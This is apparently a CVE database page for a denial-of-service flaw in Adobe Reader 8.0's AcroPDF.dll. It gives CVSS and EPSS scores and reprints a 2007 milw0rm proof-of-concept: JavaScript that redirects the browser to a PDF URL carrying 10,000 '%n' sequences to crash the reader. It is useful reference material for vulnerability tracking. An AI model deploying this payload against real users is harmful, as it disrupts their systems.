CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
AcroPDF.DLL in Adobe Reader 8.0, when accessed from Mozilla Firefox, Netscape, or Opera, allows remote attackers to cause a denial of service (unspecified resource consumption) via a .pdf URL with an anchor identifier that begins with search= followed by many %n sequences, a different vulnerability than CVE-2006-6027 and CVE-2006-6236.
Uncontrolled Resource Consumption The product does not properly control the allocation and maintenance of a limited resource.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
5.33%
–
–
2022-03-20
–
–
5.33%
–
–
2022-04-03
–
–
5.33%
–
–
2022-10-09
–
–
5.33%
–
–
2023-01-01
–
–
5.33%
–
–
2023-01-22
–
–
5.33%
–
–
2023-03-12
–
–
–
0.76%
–
2023-04-23
–
–
–
0.77%
–
2023-10-29
–
–
–
0.75%
–
2024-02-11
–
–
–
0.75%
–
2024-03-10
–
–
–
0.75%
–
2024-06-02
–
–
–
0.75%
–
2024-11-17
–
–
–
0.75%
–
2024-12-22
–
–
–
0.97%
–
2025-02-16
–
–
–
0.97%
–
2025-01-19
–
–
–
0.97%
–
2025-02-16
–
–
–
0.97%
–
2025-03-18
–
–
–
–
21.51%
2025-04-06
–
–
–
–
22.95%
2025-04-15
–
–
–
–
22.95%
2025-04-15
–
–
–
–
22.95,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
<!--------------------------------------------------------------------------------
Adobe PDF Reader plug-in AcroPDF.dll ver. 8.0.0.0 Resource Consumption
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org
Well, Adobe guys do a good job after the publication of a variety of
bug in AcroPDF.dll, one for all
From Secunia:
"Input passed to a hosted PDF file is not properly sanitised by the
browser plug-in before being returned to users. This can be exploited
to execute arbitrary script code in a user's browser session in context
of an affected site."
So now the dll is able to understand when you're trying to insert something
wrong prompting you with "One or more of the query terms are too long."
and that's a good thing but... I thought "can this dll sanitise chars like
%n"
Well the answer is: no.
Unfortunately (sure depends by the point of view) Internet Explorer is
not useful for a test 'cause a limited number of chars (only 2083) is
admitted
in the address bar, so we need to use browser like Firefox and stuff like
that.
When you browse to a hosted pdf file like this
http://somesite/poc.pdf#search=%n%n%n... x 10000 (or much more if you like)
the browse will stop to answer until the process AcroRd32.exe crashes,
the CPU usage is about 50-60% and the paging file usage grow until
it's full and you have the message "Insufficient virtual memory..."
Here's a proof of concept, for online demonstration see:
http://www.shinnai.altervista.org/adobe.html
txt version here: http://www.shinnai.altervista.org/txt/adobe.txt
-------------------------------------------------------------------------------->
<script language="javascript">
var browserName=navigator.appName;
if (browserName=="Netscape")
{var f = ""
var c = ""
for (var i = 0; i <= 10000; i++) {
var f = f + "%n";
}
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" +
(f)
}
else if (browserName=='Opera')
{var f = ""
var c = ""
for (var i = 0; i <= 10000; i++) {
var f = f + "%n";
}
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" +
(f)
}
else if (browserName=='Microsoft Internet Explorer')
{
alert("This exploit doesn't work with IE. You need to use Firefox and stuff
like that.");
document.location="http://www.shinnai.altervista.org";
}
else
{
alert("Mmm... I don't know what are you browsing with here, so no martini no
party.");
}
</script>
# milw0rm.com [2007-03-08]